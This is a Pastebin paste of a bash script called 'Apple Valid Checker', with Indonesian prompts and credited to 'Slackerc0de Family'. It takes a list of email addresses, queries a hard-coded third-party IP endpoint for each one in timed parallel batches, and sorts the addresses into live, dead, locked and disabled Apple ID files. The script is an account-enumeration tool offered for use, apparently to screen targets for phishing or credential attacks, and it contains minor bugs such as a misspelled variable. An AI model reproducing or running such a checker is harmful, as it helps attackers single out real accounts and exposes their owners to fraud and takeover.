RHDyarAP

Untitled

Feb 17th, 2019
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.70 KB | None | 0 0
  1. #!/bin/bash
  2. # Slackerc0de Family Present
  3. # Apple Valid Checker 2018
  4. # 17 December 2K17
  5. # By Malhadi Jr.
  6. RED='\033[0;31m'
  7. CYAN='\033[0;36m'
  8. YELLOW='\033[1;33m'
  9. ORANGE='\033[0;33m'
  10. PUR='\033[0;35m'
  11. GRN="\e[32m"
  12. WHI="\e[37m"
  13. NC='\033[0m'
  14. echo ""
  15. printf " ${YELLOW} ____ __ __ ____ ${NC}\n"
  16. printf " ${YELLOW} / __ \ / / / / / __ \ ${NC}\n"
  17. printf " ${YELLOW} / /_/ / / /_/ / / / / /${NC}\n"
  18. printf " ${GRN} / _, _/ / __ / / /_/ / ${NC}\n"
  19. printf "${GRN} /_/ |_| /_/ /_/ /_____/ ${NC}\n"
  20. printf "======[ ${YELLOW}RH Dyar Aryana Putra ${NC}]======\n"
  21. echo ""
  22. # INPU FILE & FOLDER #
  23.  
  24. if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then
  25. cli_mode="interactive"
  26. else
  27. cli_mode="interpreter"
  28. fi
  29.  
  30. # Assign false value boolean
  31. # to both options when its null
  32. if [ -z "${isDel}" ]; then
  33. isDel='n'
  34. fi
  35.  
  36. if [ -z "${isCompress}" ]; then
  37. isCompress='n'
  38. fi
  39.  
  40. SECONDS=0
  41.  
  42. # Asking user whenever the
  43. # parameter is blank or null
  44. if [[ $inputFile == '' ]]; then
  45. # Print available file on
  46. # current folder
  47. # clear
  48. ls
  49. read -p "Emaillist: " inputFile
  50. fi
  51.  
  52. if [[ $targetFolder == '' ]]; then
  53. read -p "Folder: " targetFolder
  54. # Check if result folder exists
  55. # then create if it didn't
  56. if [[ ! -d "$targetFolder" ]]; then
  57. echo "[+] Membuat $targetFolder/ folder"
  58. mkdir $targetFolder
  59. else
  60. read -p "$targetFolder/ folder Sudah ada, Lanjutkan ? [y/n]: " isAppend
  61. if [[ $isAppend == 'n' ]]; then
  62. exit
  63. fi
  64. fi
  65. else
  66. if [[ ! -d "$targetFolder" ]]; then
  67. echo "[+] Membuat $targetFolder/ folder"
  68. mkdir $targetFolder
  69. fi
  70. fi
  71.  
  72. if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then
  73. read -p "Hapus list per check ? [y/n]: " isDel
  74. fi
  75.  
  76. if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then
  77. read -p "Compress the result ? [y/n]: " isCompress
  78. fi
  79.  
  80. if [[ $sendList == '' ]]; then
  81. read -p "Jumlah List/Send: " sendList
  82. fi
  83.  
  84. if [[ $perSec == '' ]]; then
  85. read -p "Delay time: " perSec
  86. fi
  87.  
  88.  
  89.  
  90. malhadi_appleval_second() {
  91. SECONDS=0
  92.  
  93. check=`curl "http://157.230.147.224/appleid/${1}" --compressed -D - -s -L`
  94. duration=$SECONDS
  95. header="Check From $inputFile"
  96. footer="[Save To $targetFolder]\n"
  97. val="$(echo "$check" | grep -c '"status" : "valid_userid"')"
  98. inv="$(echo "$check" | grep -c '"status" : "invalid_userid"')"
  99. block="$(echo "$check" | grep -c '"status" : "locked_userid"')"
  100. dis="$(echo "$check" | grep -c '"status" : "disable_userid"')"
  101.  
  102.  
  103. if [[ $val > 0 ]]; then
  104. printf "${GRN}[$header] | $2/$3 | LIVE => $1 $country $footer ${NC}"
  105. echo "LIVE => $1" >> $4/live.txt
  106. else
  107. if [[ $inv > 0 ]]; then
  108. printf "${RED}[$header] | $2/$3 | DIE => $1 $footer ${NC}"
  109. echo "DIE => $1" >> $4/die.txt
  110. else
  111. if [[ $blcok > 0 ]]; then
  112. printf "${cyan}[$header] | $2/$3 | DIE => $1 $footer ${NC}"
  113. echo "blcoked => $1" >> $4/blocked.txt
  114. else
  115. if [[ $dis > 0 ]]; then
  116. printf "${PUR}[$header] | $2/$3 | DIE => $1 $footer ${NC}"
  117. echo "disable => $1" >> $4/disable.txt
  118. fi
  119. fi
  120. fi
  121. fi
  122.  
  123. printf "\r"
  124. }
  125.  
  126. if [[ ! -f $inputFile ]]; then
  127. echo "File Tidak di temukan"
  128. ls -l
  129. exit
  130. fi
  131.  
  132. echo "[+] Merapihkan Email"
  133. grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile
  134.  
  135. echo "########################################"
  136.  
  137. totalLines=`grep -c "@" $inputFile`
  138. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $inputFile))'
  139. con=1
  140.  
  141. echo "[+] Prosses $sendList email per $perSec seconds"
  142.  
  143. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  144. username="${mailist[$i]}"
  145. indexer=$((con++))
  146. tot=$((totalLines--))
  147. fold=`expr $i % $sendList`
  148. if [[ $fold == 0 && $i > 0 ]]; then
  149. header="`date +%H:%M:%S`"
  150. duration=$SECONDS
  151.  
  152. sleep $perSec
  153. fi
  154.  
  155. malhadi_appleval_second "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" &
  156.  
  157. if [[ $isDel == 'y' ]]; then
  158. grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile
  159. fi
  160. done
  161.  
  162. echo "[+] Waiting background process to be done"
  163. wait
  164. wc -l $targetFolder/*
  165.  
  166. if [[ $isCompress == 'y' ]]; then
  167. tgl=`date`
  168. tgl=${tgl// /-}
  169. zipped="$targetFolder-$tgl.zip"
  170.  
  171. echo "[+] Compressing result"
  172. zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt"
  173. echo "[+] Saved to compressed/$zipped"
  174. mv $targetFolder haschecked
  175. echo "[+] $targetFolder has been moved to haschecked/"
  176. fi
  177. #rm $inputFile
  178. duration=$SECONDS
  179. echo "$(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed."
Advertisement
Add Comment
Please, Sign In to add comment